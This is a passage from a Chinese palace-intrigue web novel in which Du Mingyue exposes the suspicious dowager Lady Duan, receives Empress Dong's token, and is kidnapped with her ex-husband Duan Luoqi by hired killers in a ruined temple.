“母亲!”段骆岐急的大喊,他试探着晃了晃段老夫人,见她没醒,确定她是真的晕过去了,便转头无奈的道,“明月你先回去吧,母亲晕倒了,需要请府医诊治。” 他说完,也不等杜明月回答,就一脸心烦的催促段骆霖,“还愣着干什么,赶紧去叫府医!” 段骆霖反应过来后,立马让府里的小厮去叫人,他则上前和于嬷嬷一起将段老夫人送回了屋里。 段骆芙想说什么,却发现得段骆岐的脸色似乎有些不对劲,看到此处只剩他和杜明月,觉得或许是两人有话要说,她便转身安静离开了。 杜明月见众人散去,场子完全冷清了下来,只觉得对这场闹剧十分满意,意犹未尽。 眼下,段老夫人这个主角都不在这里了,她再留在这里也没什么意思,不如先回去休息,一会段老夫人醒来,她还有的忙呢。 想到这里,杜明月冷笑一声,心情愉悦的准备转身离开。 “瞒着!”段骆岐的声音突然自她背后响起,杜明月犹豫了下,还是转过身看向他。 “你……怎么会有母亲早年的字画?”段骆岐眼中闪着晦暗不明的光,神情有些严肃道,“还有,为什么偏偏挑今日这种日子拿出来?” 杜明月柳眉一挑,心想段骆岐这个蠢货怕是又要替自己的母亲讨公道,那她可没闲心搭理他。 “没什么!逛街时突然看到的,听说是老夫人当年的手笔,好奇就买回来看看了,不行吗?”杜明月冷笑,“怎么又要因为我气晕了老夫人,要给我上家法?” 杜明月冷眼看了段骆岐一眼,目光满是嘲讽和寒意,段骆岐被她这样的目光刺了一下,见她要转身离开,急忙跟紧一步开口道,“不,我不是这个意思……” “我只是想问,你这么做是为什么,难道你听说了什么我们都不知道的事吗?” 段骆岐见杜明月只是继续离开,并不回头,一着急只能在她身后大声的喊了出来。 杜明月闻言,身形微微一顿,停下了脚步,她回头默默的看了一眼段骆岐,眼神中闪过一抹微微诧异的神色。 段骆岐这是也察觉到段老夫人的不对劲了? 杜明月微微勾唇,如果真是如此,那再好不过,看来接下来的段老夫人要没有舒坦日子过了,这段府马上也要乱起来了。 杜明月突然想起自己和董皇后的约定,如果事情的发展真的和她设想的一样,那董皇后那边自己也就可以交差了。 那么还剩下最后一件,也就是最重要的一件事,那便是她必须得尽快拿到和离书,离开这里! “明月?”段骆岐见杜明月久久出神,并不回答他的话,忍不住又开口唤了一声,言语中还带着一丝想要得知事情全貌的急切。 “我不知道什么秘密。”杜明月淡淡开口,“你也知道我自从东宫回来后,做事一直这么随心所欲,想做便做咯,我又不挑什么日子。” “你!”段骆岐被气的语塞,还没想好自己要说什么,杜明月早就转身彻底离开。 段骆岐一人站在原地,任凭艳阳高照,将他额头都晒出了汗珠,却依然若有所思的一动不动,身影看起来就像是形单影只,十分落寞和孤寂。 再说装作的段老夫人回到自己屋中以后,等到众人都退下后,她猛地睁开了眼睛,还将在一旁伺候的于嬷嬷吓了一跳。 于嬷嬷暗暗捂住心口,冲过去将段老夫人扶了起来。 “夫人?您没事了吗?您刚才又突然晕倒,府里也来看过了,给您开了方子,一会煎好的中药就送过来了。” 于嬷嬷只当段老夫人是真的不舒服,噼里啪啦的说了一大堆,却看到段老夫人的脸色更加难看了。 她正要再开口说什么,就见段老夫人一把紧紧攥住了她的手,力气之大,让她的手背都有些微微泛白。 “我刚才是装晕的。”段老夫人咬牙切齿道,“还不是因为杜明月那个贱妇!她满口说些疯疯癫癫的鬼话,霖儿他们又在跟前,我不装晕,怕是都没有办法脱身。” 想起今日杜明月咄咄逼人的场景,段老夫人就觉得有些后怕。 段老夫人这么说,于嬷嬷也就明白了,她立马附和道,“没错,老夫人,您说她今日突然向您发难是什么意思?当年的事,难道她?” “不!不可能!”段老夫人突然瞪大了眼睛,用一种几近癫狂的状态道,“她不可能知道,当时的人早被我处理干净了,她怎么可能会知道!” “我看她就是单纯的不知道从哪里弄来了一副她画的字画,见我现在不作画,故意戏弄我罢了!”段老夫人几乎是自言自语的又重复了一遍,“没错,一定是这样!” 或许是这番自欺欺人的话真的安慰到了段老夫人,段老夫人慢慢平静了下来,她扶着于嬷嬷的手叹口气道,“我看想要从根源上解决这个麻烦,还是在要赶紧把她赶出去!” 段老夫人点头肯定自己的话道。“没错,只要她离开镇南侯府,我们井水不犯河水河水那是最好的,她也不会再来找我的麻烦!” 于嬷嬷听了在一旁认可的点头道,“老夫人说的没错,只要侯爷同意给和离书,咱们立马就能让那杜氏滚出去。只是,奴婢觉得,这问题也就出在侯爷那里。” 第一百二十五章 一定是中邪了 于嬷嬷这话也确实提醒了段老夫人,段老夫人一下子坐直了身体。 “没错,和离这事儿,侯爷拖得太久了,等下我亲自去找他,我看他是选我还是选那贱妇!” 段老夫人回想起过往那些她做过的事,得意的挑眉,十分自信道,“他以往可都是最听我的话,这次肯定也一样!我一定会让他把那贱妇赶出去!” 她正和于嬷嬷两人说着,突然一个丫鬟端着一碗热汤进来。 段老夫人下意识眉头一皱,正想责问她为什么贸然进来时,却闻到了那汤的香味,顿时将这些不快都抛之脑后。 那丫鬟只是低着头,恭顺的行了礼道,“老夫人,这是侯爷命奴婢给您送来滋补汤。” 段老夫人闻言,原本还存在心头的那点怀疑也都消失不见了,她立马伸手将汤碗接了过来。 她觉得,许是刚才和杜明月对峙,消耗了不少体力,因此这汤喝起来格外的香甜,喝到见底一滴不剩了,她还觉得意犹未尽,想再来一碗。 “今日这是什么汤啊?怎么不见主材,却这么好喝?”段老夫人随口问着,那丫鬟还没来得及开口,却已经有声音从屋外传了进来。 “老夫人喜欢?那让奴婢再去盛一碗就是了!” 不见其人先闻其声,段老夫人一听,竟然又是杜明月的声音,吓得浑身一震,眼睛都瞪大了。 她此刻只觉得惊悚,觉得今日这杜明月总是出没的神不知鬼不觉,一直纠缠自己。 杜明月进屋,段老夫人正要开骂,却没想到跟着她一起来的还有段骆岐。 段老夫人狠狠瞪了杜明月一眼,觉得她简直像是飘飘然进来的鬼魂,目的就是要吓死自己。 “去,还愣着干什么,再去给老夫人盛一碗。”杜明月对丫鬟说完,抬头露出粲然一笑,对段老夫人道,“老夫人,鸡汤好喝吧?这可是府里厨子新学的做法。” “……”段老夫人一愣,只觉得杜明月这笑容在自己眼中变得扭曲可怖,她身后冷汗涔涔。 杜明月今日一而再再而三的搞事情,看来她是真的知道点什么。 此刻,段老夫人再也无法自欺欺人的告诉自己,杜明月什么都不知道,她这样几次三番的试探,分明是奔着明确的目的来的! 她到底都知道什么,她今日为何几次三番试探自己,她到底想干什么? 段老夫人脑子里飞快的想了许多,将自己扣着床板的手暗暗用力,直到指尖传来痛意,她才终于找回了一些理智。 “刚才汤里不见鸡肉,我才喝的,现在果然品出了腥膻味来了!”段老夫人故意做出一副生气的模样对着于嬷嬷道,“去,拿漱口水来!” 于嬷嬷一愣,急忙配合着去了,段老夫人转头就恶狠狠的对着杜明月开骂。 “杜氏!府里上下都知道我不喝鸡汤,即便做了鸡汤,也没人敢送到我这里来,究竟是谁给你的胆子,今日竟然敢几次三番的戏弄于我!” 杜明月并不理会她的责骂,反而故作疑惑道,“奇怪了,这汤里的鸡肉味儿一直有啊,轻轻一闻也完全闻得出来,老夫人你怎么能说一开始没尝出来,现在才觉察出来呢?” 说着,她故意转头看向段骆岐,“侯爷,这鸡汤你刚才也喝了吧,鸡汤味很浓郁啊。” 段骆岐也是一副百思不得其解的模样,他点点头,疑惑的看向段老夫人道,“母亲,这汤我刚才确实尝过……” “那你还让这个贱妇送到我这里来!”段老夫人闻言,正觉得心中怒火无处发作,就朝着段骆岐吼了出来。 段骆岐心虚看向杜明月,杜明月却一点不慌,微微笑道,“老夫人,你别急啊,侯爷这么孝顺你的儿子,若是放在平常肯定不会这么做的,可是今日……” 杜明月故意一顿,挑眉玩味的看向段老夫人,神情带着一点挑衅。 “今日,自从你在后花园认不出自己的画开始,我就觉得不对劲,生怕你今日生辰犯太岁,再中了邪,所以特意喝侯爷商量了一下,想用鸡汤试一试。” 段老夫人听到这里,气得脸上红一阵白一阵,自己果然被杜明月耍了,她恨不能直接掐死杜明月。 杜明月看得出来她眼中此刻喷薄而出的怒火,心里反而更高兴了。 “若你不喝,那便没事了,可是,你喝了。” 杜明月说完,故意做出一副吃惊的模样,急忙转身对段骆岐道,“侯爷,我看老夫人真的不对劲,她一定是中邪了!你还是赶紧请人来家里看看吧。” 段骆岐犹豫的看向段老夫人,段老夫人见他完全没有反驳杜明月的意思,甚至有些赞同,气得猛地站起来吼道,“滚!你们都给我滚!” 面对段老夫人如此歇斯底里的反应,段骆岐的心中反而更加认定她中邪了。 此时他脸上已经完全没有了为难的神色,眼神十分坚定道,“母亲,你是真的中邪了,不然怎么会连自己画的画都认不出,放心,我会去找道士来家府上驱邪的,你一定会没事的!” “我没中邪!不用你找道士来!”怒吼的段老夫人像是突然被口水呛到,剧烈咳嗽了起来,整个人都站不直了。 段骆芙见状急忙上前扶住,一脸担忧和关心道,“母亲,你不要这么固执,我知道一个老道,这方面很灵的,到时我亲自去把他请来,只要他来,母亲你保准就好了。” 段老夫人被气得上气不接下气,但感觉喉咙里好像真的被什么东西堵住了似的,有些发不出声,只能无奈的坐了下来,一张老脸都气的涨红了。 杜明月勾唇冷眼看着这一切,片刻后,段骆岐叫来小厮道,“马上去请黄道长来府上驱邪!” 说完,段骆岐便从屋里走了出去。 既然要请道士来府上驱邪,那还有很多东西是他这个侯爷需要出面准备的。 屋内,段骆芙还是一脸担心的陪在段老夫人身边,杜明月段老夫人已经被自己气得话都说不出来了,只觉得神清气爽,十分愉快的转身就走。 第一百二十六章 董皇后的令牌 等回到摘月居的院子,杜明月才刚一进院子,红豆突然觉察到了一丝异样,立马拉过她护在自己的身后。 “红豆……”杜明月正疑惑想要发问,就看到有一黑衣人从房顶落了下来,红豆的目光如钩子一般,警惕的盯着他,右手已经摸上了腰间的佩剑,做好了出手的准备。 杜明月此时也感觉到了危险,神色一凛,同样警惕的看向黑衣人。 但让杜明月和红豆都感觉到意外的是,此人只是站在原地,并没有上前的打算。 红豆似乎也察觉到对方似乎并没有什么恶意,便冷声问道,“你是什么人?” “宫里人。”那人细着嗓子回答,杜明月眉心一跳,立马反应过来,这人是宫里的太监,怕不是董皇后派来的。 很快,她的猜想便得到了验证。 黑衣人从身上掏出了一个金色的令牌,缓缓走向杜明月,“这是宫里赏赐给你的令牌,是主子对你办事能力的认可。” 杜明月按下红豆拦在自己身前保护的手臂,给了一个让她安心的眼神,走上前去,接过了黑衣人递来的令牌。 金牌上一个明晃晃的“董”字,让杜明月心中的疑云全部散去,事情确实显而易见。 只是,唯一一点,让杜明月觉得震惊的是,董皇后的眼线分布的也未免太多太广了,今日镇南侯府发生的事,不过半日时间,竟然就已经完全被董皇后知晓了。 杜明月心里暗暗倒吸了一口凉气,看来董皇后的势力当真不可小觑,她做不到为虎作伥,也不会与虎谋皮,眼下能做的,也只能是先应付着董皇后,之后再找机会彻底脱身。 “有了这令牌,你以后行事会更加方便,另外主子很满意你今日将段府闹得人仰马翻,所以特派一队三十人的护卫为你所用,替你办事,你可以随意差遣。” 黑衣人的话,将杜明月从游离的思绪中拉了回来。 “这是这三十人的现在所在的位置,你可以随时去找他们,吩咐他们做事。”黑衣人说着,递给她一张字条。 “还有,主子说了,关于段老夫人的真实身份,主子也很想知道这到底是怎么回事,也会专门派人去查,若真查出了什么,一定会派人来告诉你。” 黑衣人说完,还不等杜明月开口,已经身手敏捷的再次飞上屋顶,接着从屋顶跳下,转瞬就消失不见了。 杜明月收回视线,打开了那张字条,凤眸微微眯起,将那纸条上的字记下来后,便递给了红豆。 “你看看吧,到时若真用得上他们,还得你去联络。”杜明月说着已经朝着屋里走去。 短短几步路的路程,让她再次想起了她在东宫时,董皇后每每提起段家人、段骆岐时,那副咬牙切齿的模样。 彼时她一心爱着段骆岐,还不能完全理解失去太子的董皇后的恨意和执着,现在她已经完全能理解了。 从某方面来说,她和董皇后确实是志同道合的盟友,也难怪皇后这么想看段府的这出戏了。 杜明月将董皇后的令牌小心翼翼的收好,此时她并不知道段老夫人已经支走了段骆芙,同于嬷嬷密谋起了对她不利的计划。 “看来杜氏是真的知道了什么,她到底是怎么知道的?”段老夫人哑着嗓子,皱着眉头,一副困惑不解的模样。 于嬷嬷也猜不到杜明月为何会突然这么做,只能猜测道,“会不会是前几日在街上为您准备生辰礼时,碰见那位的故人了?” 段老夫人若有所思的点点头,“大概是了,不然她又怎么会有那副荷花图。不能否认,杜氏确实有些小聪明,或许是说者无心,听者有意,她便猜到了一些什么。” “要按这么说,那她现在还没有证据,一切只是猜测。”段老夫人思及此,内心不免暗暗松了口气,只要杜明月没有证据,那她依然可以安心的继续做段老夫人。 “可是,她现在没有证据,不等于以后也没有。”段老夫人像是突然又意识到了什么,眉头紧锁,愁容满面。 于嬷嬷也是一脸担忧,小声嘀咕了一句道,“如果她能彻底闭嘴,消失就好了,这样她就再也不会提起这件事了。” 段老夫人听了这话,眸中突然闪过一抹狠厉的光芒。 虽说杜明月财力雄厚,但好在在京中也没有什么靠山。 原本,她是不想动除掉她的念头,毕竟太冒险了,一个操作不慎,容易让镇南侯府坠入万劫不复的深渊。 可是,她现在马上就要真的自身难保了,她实在是顾不上其他的了。 段老夫人在心中暗暗谋划,除掉杜明月虽然冒险,但只要可以做到能神不知鬼不觉,那一切问题就都迎刃而解了。 除掉杜明月这个麻烦,她后半生不仅可以牢牢守住段老夫人这个位置,彻底过上高枕无忧的日子,还将拥有杜明月那巨额的财富。 “事已至此,也只能铤而走险,把她除掉!”段老夫人心一横,决定豁出去赌一把了,她示意于嬷嬷附耳过来,在她耳边小声说了自己全部的计划。 “你这几日就安排人先盯着她,等摸清她的出行习惯,再找机会痛下杀手,一定要处理干净。” “必须做到天衣无缝,决不能留下任何蛛丝马迹,不然到时官府查到侯府,我们就全完了!” 段老夫人眼里闪着阴恻恻的光,不忘再次叮嘱。 她看着于嬷嬷频频点头表示记住了,这才放心的让她离开了。 之后一日,黄道长上门驱邪,段老夫人意外的不吵不闹,十分配合。 之后段骆岐再和段老夫人对话,见段老夫人始终保持态度温和,情绪稳定,甚至既不追究杜明月的过错,也不责备自己昨日的无礼,心中这才暗暗松了口气。 段骆岐和段骆芙都相信,段老夫人能有这样的转变,都是黄道长的功劳,就连不太相信中邪说的段骆霖,这些也有些信了。 府中上下都为段老夫人高兴,只有杜明月隐隐之中,总觉得哪里不对劲,叮嘱红豆不可对段老夫人接下来的举动掉以轻心。 第一百二十七章 双双被绑走 杜明月始终相信,段老夫人不可能就这么轻易的放过她,怕是又在憋着什么坏招对付自己。 之后的两日,杜明月因为始终无法安心,便让红豆立即去联络董皇后给的三十护卫,除了安排两人暗中保护自己,还让另外两人时时刻刻盯着段府的人员出入和往来。 五日后。 这日,杜明月一早便准备妥当,打算出府找富贵叔询问下铺子近来的经营情况。 可是她刚踏出侯府的大门,身后便传来了一个她不喜欢的声音。 “明月你去哪儿?”段骆岐说着,大步流星的朝着杜明月走来,直接挡在了她身前。 杜明月不悦的皱眉,“侯爷有事吗?” 面对杜明月如此冷漠和疏离的态度,段骆岐微微怔了一下,脸上的笑容也有些凝固了。 “明月,我们夫妇本是一体,你想出去逛逛,我陪陪你不是很正常吗?”段骆岐脸上露出了一丝讨好的笑容,“不管你想去哪儿,我都陪你。” 杜明月冷哼一声道。“首先纠正下,侯爷,你我二人不是恩爱夫妻,你我早已写下了和离书,你忘记了吗?还有,我想去哪里就去哪里,不需要你陪!” 杜明月说着又准备转身离开,她的话虽然让段骆岐面色尴尬,脸上无光,但他还是死皮赖脸的着。 “明月,前两天咱们不是还好好的吗?怎么突然又对我这么冷淡?”段骆岐一边跟着,一边还喋喋不休的说着。 杜明月见状,更是加快了脚下的步伐。 她故意经过人潮汹涌的集市,想趁机甩掉他,但没想到,她都走出去很远,一回头还是能看见那段骆岐如同一个狗皮膏药一般,紧紧的跟着她,甩都甩不掉。 今日他这是又抽什么疯了! 杜明月一边快步走着,一边忍不住在心里暗骂了一句。 跟在杜明月身边的红豆忍不住小声道,“主子,要不要我直接把他打跑!” 红豆说着,甚至已经做出了撸袖子的架势。 杜明月觉得红豆亲自出手不妥,便小声凑近她的耳畔道,“你去叫两个隐藏的侍卫来,让他们乔装打扮一下,制造一下混乱,要是能把他用麻袋套起来,打一顿再走更好。” 红豆一听这话乐了,强忍住笑意点点头离开了。 段骆岐见杜明月和红豆在前面嘀嘀咕咕不知道说什么,正好奇着,就看到红豆拐个弯离开了,便直接快走两步跟上去道,“她去干什么了?” 杜明月不耐烦的瞥了他一眼,回头嫌弃的白眼都要翻上天了,可段骆岐不知道想到了什么,突然高兴了起来。 他满面红光,一脸兴奋的道,“果然明月你的心里还是有我的,你这是故意把她支开,想单独和我在一起对不对?” 杜明月根本不想搭理段骆岐抬头看了看周围,觉得她一会得给乔装打扮来的侍卫制造机会,就不能再走在人多的地方惹人注目,于是转身走向了不远处偏僻的小巷。 段骆岐见杜明月突然拐进了暗巷,下意识一愣,但也没有多想,依然是厚着脸皮跟在身后穷追不舍。 就在段骆岐一门心思,全部注意力都在杜明月身上时,没注意到身后有一彪形大汉手持铁棍,猛地抬起,重重砸向他的后脑勺。 段骆岐一愣,巨大的痛感传来,他下意识转身出手,四肢却已经无力的垂了下去,缓缓倒地。 杜明月听到这声音一愣,心里正想着红豆叫来的人动作还挺快,下手也挺狠时,猛地回过头,却发现不对劲儿了。 因为那人看着倒地的段骆岐反而露出了一脸意外和为难的神情,抬头看向自己时,眼里反而闪现着凶狠的杀意。 那人继续手拿棍子朝着自己走来,杜明月心中大呼一声不妙,立马转身就跑,她身后的三个歹徒一愣,也立马追了上来。 杜明月听着身后越来越近的脚步声,感觉一颗心都要悬在嗓子眼里了,更加拼命用力的向前跑。 出了这暗巷,外头便是热闹的大街,这些人就算真的想动自己,估计也会有些难度,如果红豆能再及时的赶回来,自己就能获救了。 杜明月心中这样想着,但可惜她还没有跑到暗巷的尽头,被身后的另一个歹徒追上,直接一手抓着她,另一只手用一个浸了迷药的帕子封住了她的口鼻。 “呜,呜。”杜明月死死的扣住歹徒的手,可惜根本挣扎不开,没一会她便失了力气,双手缓缓垂下,闭上眼睛晕了过去。 在失去全部意识之前,晕倒的杜明月感觉到自己被人拖走,那些人嘴里还在低声的说着什么。 “没想到这么容易就得手了!” “可是这怎么还多出一个人,这个人怎么办?你认识吗?也处理掉吗?” “不认识,先一起绑走再说吧,买家可说了,要处理的天衣无缝,也不能在这里直接把人杀了,先带走。” …… 后面这些人再说了些什么,杜明月一无所知,整个人完全失去了意识。 也不知道到底过了多久,杜明月缓缓转醒,抬眼便看到了一个破败的佛像。 她猛地睁开眼睛,打量周围,断裂的桌椅、蒙尘的蜘蛛网,都表明她现在身处一座废弃的破庙中。 她低头发现自己正被五花大绑,而一旁的段骆岐依然晕着,双手双脚也被绑了起来。 杜明月脸上的担忧和惊恐一闪而过,很快被冷静所替代,她目光落在一旁被打碎的瓷片上,奋力往那边挪着,想要拿到碎瓷片,用它割开绳子。 杜明月心中暗暗发誓,她一定要想办法让自己脱身,一定不会让自己死在这里。 “段骆岐!段骆岐,你醒醒!”杜明月一边想去摸瓷片,一边想要叫醒段骆岐,但都不顺利。 就在她放弃叫醒段骆岐,差一点拿到碎瓷片时,突然听到门外传来一阵急促繁杂的脚步声。 杜明月也来不及思考,下意识的闭上眼睛,靠在身后的桌子上装晕,想听听看绑架他们的人到底有什么目的。 大门猛地被推开,出现在门口的人却并不是那三个绑匪,而是红豆。 第一百二十八章 把她留下做人质 红豆一脸焦急的看向屋内,当发现杜明月真的在屋内时,总算开心的松了一口气,一脸庆幸的红了眼眶,直奔杜明月而去。 “主子,主子,醒醒,奴婢来救你了。”红豆抱着杜明月小心翼翼的晃着,杜明月这才睁开了眸子。 “太好了,主子你没事真的太好了。”红豆心有余悸的吸了吸鼻子道,“主子,以后我再不离开你了,我寸步不离的守着你!” 杜明月也长长的舒了一口气,真好,她真的得救了。 看着自责的哭得像个泪人一样的红豆,她轻声安慰道,“我没事,而且是我让你去找他们的,我现在好好的,是你救了我,这就可以了。” “可是……”红豆呜咽着,犹豫看向杜明月,见她还被绑着,立马道,“主子,我给你解开。” “等等,先别急。”杜明月劫后余生的脸上恢复了往日的沉稳,目光敏锐犀利的问道,“你来时,碰见那些劫匪了吗,抓到他们了吗?” 红豆摇摇头,也带着一丝困惑道,“没有,找来时并没有碰见他们,他们怕不是要么去找上家谈钱,要么在做什么销毁证据和线索的准备了。” 说到这里,红豆更加紧张了,急忙要解开绳子道,“主子,咱们走,这里就交给这些侍卫就行。” “刚才奴婢回去找您,却发现怎么都找不到时,就觉得不对劲了,因此让一个侍卫去送信,将所有的侍卫都调来了,他们现在就在外面守着,到时让他们埋伏起来,那些歹徒一来,立马就能将他们拿下!” 红豆简单将情况说了,杜明月微皱的眉头此刻更是完全舒展开了。 她一脸轻松的道,“那这是必赢的局,不要紧张。” 红豆有些不解的看向她,杜明月道,“我真的没事,要是按你所说,那那些歹徒也差不多该回来了,他们还有点用处,我要亲自从他们嘴里套到有用的东西。” “你现在马上带着这些人藏起来,屋内屋外都安排好人手,到时我们的对话,你们也都能听得清清楚楚,听我暗号行动。” “主子……”红豆虽然听明白了杜明月的话,但还是有些担心她的安全。 杜明月笑道,“你放心,若是真的有危险,我会直接喊出来的,你的飞镖绝技不就能派上用场了,你放心,我不会有事的。” 红豆听她这么说在,这才彻底的放下心来,点头道,“是,主子,奴婢知道了。” 红豆吸了吸鼻子,坚定的起身,立马将守在外面的侍卫屋内屋外的安排妥当,自己这才躲进了破败的佛像后面。 杜明月扫视了一眼,对红豆和侍卫们将自己隐藏的滴水不漏很是满意,回头看到段骆岐还在晕着,忍不住白了他一眼。 好歹也是个带兵之人,竟然对从背后偷袭自己的歹徒没有一点察觉,现在更是昏迷不醒,真是一点用处没有。 她正想着,门外再次传来了一阵杂乱的脚步声,杜明月立马警觉,确信这次是真的歹徒回来了。 果然,大门一被推开,出现在杜明月眼前的,便是几张凶神恶煞的脸。 他们跨过门槛走进屋内,见杜明月醒了,先是一愣,立马哈哈大笑了起来。 “没想到你居然醒了,那你运气可不怎么好了。”为首的歹徒脸上一道长长的刀疤,吊梢眼看起来有点渗人。 “本想在你晕倒时直接给你几刀送你上西天,让你也能死的痛快点,你这要醒了,那恐怕就要受罪了。” 歹徒朝着杜明月走过去,手里还在把玩着一把明晃晃十分锋利的刀子。 他身后的歹徒也跟着上前,看清杜明月的美貌后,先是震惊,之后有点可惜道,“没想到还是个小美人,真是可惜了。要是能给我玩玩……” “闭嘴!”为首的歹徒突然顿下脚步转头狠狠骂向那人道,“你脑子里怎么每天就是那些下流想法!这次买家可是花了大钱的,你要是敢给我节外生枝搞砸了,我要你的脑袋!老子只要钱!” 那人一听,立马战战兢兢的点头,不敢再放肆。 而杜明月在一旁听着,是真的听明白了,她晕倒前听到的声音也不是错觉,果真有人出钱想要她的命。 是谁会对她痛下毒手呢? 杜明月几乎都不用细想,心里已经有了人选,她将目光看向段骆岐,段老夫人真是打了一手好算盘! 这时,走到她跟前的歹徒抬起一脚狠狠踹向段骆岐,段骆岐浑身猛地一震,也猛地睁开了眼睛。 脸上有刀疤的歹徒一愣,像是完全没想到自己这一脚会将他踹醒,瞪着段骆岐道,“你也是个倒霉的,原本想着你晕过去了,打算放你一马,可你现在看到我们了,也活不了了!” 段骆岐一愣,睁着朝歹徒跪下道,“好汉,你别杀我们,你们做这种事,一定是图财对不对!” “钱,我有啊!好汉,你不至于为了一点钱搭上几条命啊,对不对!” 求饶的段骆岐试图动之以情晓之以理,“你们想,你们要是真的将我们杀了,那你就算拿到钱,也不踏实吧,到时候要是亡命天涯,这钱也花不上了啊!” “嗯?你是在说我有命赚,没命花是不是!”刀疤脸歹徒抬起手,就恼怒的狠狠给了段骆岐一耳光。 段骆岐一愣,眼底有愤怒一闪而过,但很快又换上了卑微讨好的笑容。 “大哥,我怎么可能是这个意思呢,我的意思是,完全可以换一种方式,咱们可以拿到一大笔钱,安安心心的花不好吗?” 段骆岐再次道,“我真的有钱,你把我放了!我回去拿了立马给你送回来!我绝对不会跑的!” 刀疤男若有所思,身后的歹徒有些心动,但还是忍不住道,“我凭什么相信你!你要跑了不回来,或者去报官了怎么办!” “不,我绝不会报官的!也不会跑!”段骆岐见歹徒心动了,但心中仍有顾虑就有些着急。 他一转头,看到杜明月正幽幽的看向自己,突然瞪大了眸子急急道,“她!我把她留在这里当人质!” 第一百二十九章 良心发现 “大哥,我真的不会抛下她不管的!我一定会拿着钱回来,也绝不会把官兵引来!”段骆岐大喊着求饶,再次表明自己的诚心。 那些歹徒听了他的话,也有些愣住了。 或许在这些歹徒们看来,段骆岐一个大男人,竟然会立马求饶,当真是一点骨气都没有。 不仅如此,他还要将一个女人留在这里做人质,换自己的平安和离开,实在是连女人都不如。 刀疤脸歹徒短暂思索后,突然大笑了起来。 歹徒们神色松动,段骆岐见状正要松口气,突然听到杜明月发出一声冷笑。 段骆岐脸色一怔,像是此时才大梦方醒,想起了什么,他急忙转头看向杜明月道,“明月……不……我不是那个意思……” “你前不久还说爱我?现在就要抛下我不管,原来你口中所谓的爱竟是如此浅薄,经不起考验!” 杜明月眸中没有一丝失望,只有对段骆岐的嘲讽。 “我没有打算将你抛下不管……”段骆岐急忙反驳,脸色尴尬的找借口,说话的声音因为心虚而有些颤抖。 “我,因为我是男人,回去的路可能又长又危险,所以我来,你在这里等着就好。真的!” 或许是因为杜明月眼中对他没有一丝期待,段骆岐心中下意识的不安和慌乱,那种感觉九好像杜明月心中早已断定他是这种人,不报期待,也就不会有失望。 “我……”段骆岐的内心突然一股刺痛,失去杜明月的恐慌短暂的战胜了丢掉性命的恐慌。 他神色复杂的看着杜明月,像是后悔自己刚才冒然做出的决定。 他猛地转过头,对歹徒们大声喊道,“不,我不走了,你们把她放了!” 这话让歹徒们又是一愣,接着,立马发出嘲讽的笑声。 “你小子现在才想起来英雄救美,晚啦!我看你也别走了,留下来一起吧!”刀疤男说着立马从腰间拔出刀朝着段骆岐走去,段骆岐眼中立马又恢复了刚才的恐慌,再次求饶。 “等等!等等!你们把我杀了,可就拿不到钱了!你们好好想想!” 段骆岐大声吼着,杜明月冷静的眯起眸子,快速的思索了起来。 这些歹徒们摆明了就是冲着自己来的,无论如何都不会主动放过自己,但好在她早已安排后手,这些歹徒对她的威胁倒是不足为据。 只是他们好像并不认识段骆岐,如果今日买凶杀人之事真是段老夫人所为,那这些歹徒们一旦知道段骆岐的真实身份,一定会立马放人。 杜明月微微眯起眸子,觉得可以利用这一点试探一下,这样脱身之后,也知道回去该怎么对付段老夫人了。 心中打定了主意,杜明月猛地抬头大声道:“住手!放他走!我留下,要杀杀我,你们的目标本来就是我!” 刀疤脸歹徒手中的动作一顿,转头看向杜明月,而一旁惊魂甫定的段骆岐先是一愣,眼底立马露出一抹欣喜。 幸亏他刚才改口决定自己留下了,她好像心软原谅自己了。 段骆岐觉得心中莫名有块石头落了地,甚至觉得眼前的危险也没有那么可怕了。 他也对着歹徒大喊道,“不!我留下,让她走,你们放心,她也一定会回来救我的!” 歹徒们突然被段骆岐和杜明月让来让去的态度弄懵了,刀疤脸歹徒没什么耐心,先是抬手狠狠打了段骆岐一个耳光,又朝着杜明月走去。 杜明月冷静的看着他,目光坚定道,“我知道是有人出钱买我的命,所以我今天必须死,你们是不可能放过我的,但他不一样!多杀一个他,对你们可没什么好处。” “明月,你在说什么?”一旁的段骆岐完全愣住了,疑惑的瞪大了眼睛。 难道不是简单的绑匪劫财吗?怎么会是买凶杀人呢?到底是怎么回事? 刀疤脸也是脚步一顿,像是没想到杜明月会准确的猜到原因,沉默了片刻冷笑道,“说得这么斩钉截铁,好像你知道是谁似的?” “我不知道,你会告诉我吗?”杜明月冷冷的看着歹徒,目光直直的逼视着他。 那歹徒短暂的被定住了一瞬,反应过来后,才察觉自己刚才竟然被一个女人给唬住了。 刀疤脸歹徒愤怒的咬牙,凶狠的道,“你以为我们是第一天做这种杀人越货的勾当?你觉得我们会蠢到告诉你真相?” “那你们就别废话了,把他放了,要杀要剐冲我一个人来!”杜明月沉声冷静道,“这里离京城那么远,你们动作快一点,就算他真的去报官,也没有证据,又抓不到你们,怕什么!” 段骆岐听着两人的对话,完全愣住了,一时竟然不知道说什么好。 “这……你们……”段骆岐突然意识到,好像真的有什么不对劲,他立马大声的问道,“你们到底是谁派来的!你们要是真的敢动她,我不会放过你的!” “你先管好你自己吧!”杜明月冷眼看了段骆岐一眼,只觉得他十分的聒噪,而且最重要的是,他留在这里,她反而不好让人动手了。 “不行!明月,我想好了!我不能没有你,失去你比杀了我更让我痛苦!” 段骆岐抬头红着眼冲歹徒们吼道,“你们知不知道你们现在绑的到底是谁!你们要是敢动我们一根汗毛,你们一定会死无葬身之地!” 刀疤脸突然嘲笑出声,他转头看着段骆岐道,“口气倒挺大!怎么,刚才不是还要扔下她一个人跑吗,怎么突然良心发现了,给我演上深情戏码了?怎么,还想死在一起?” “要是这样的话,我偏不让你们如愿!”刀疤脸歹徒说着,对身后一直站着的两个歹徒道,“你们两个,把他带到远一点的地方,处理干净一点!” 段骆岐一听这话,整个人变得情绪激动,无比暴怒,“你们休想把我们分开!” 刀疤脸歹徒却根本不理会,手指一挥,示意另两人将他带走。 那两人听了,立马上前架住段骆岐拉扯着往外走,段骆岐又开始大喊道,“你们再考虑一下,为了一点钱搭上两条人命,还让自己陷入危险根本不值得!” 第一百三十章 杀也不是放也不是 “说到底,咱们无仇无怨,你们不是要钱吗!我有,我不管到底是谁买凶杀人,他能给你们的钱,我给双倍!不,三倍!” 段骆岐大声喊着,“你们放了我,我真的回去给你们拿钱,保证不报官!” 或许是真的感觉到了死到临头的危险,段骆岐又放下了自己的傲气,一再的恳求,“或者你们说要多少都行!只要你别伤害我们!” 架着他的两个歹徒确实心动了,如果段骆岐说的是真的,那他们既不用背负上杀人的风险,还能拿到高于酬金的钱,何乐而不为。 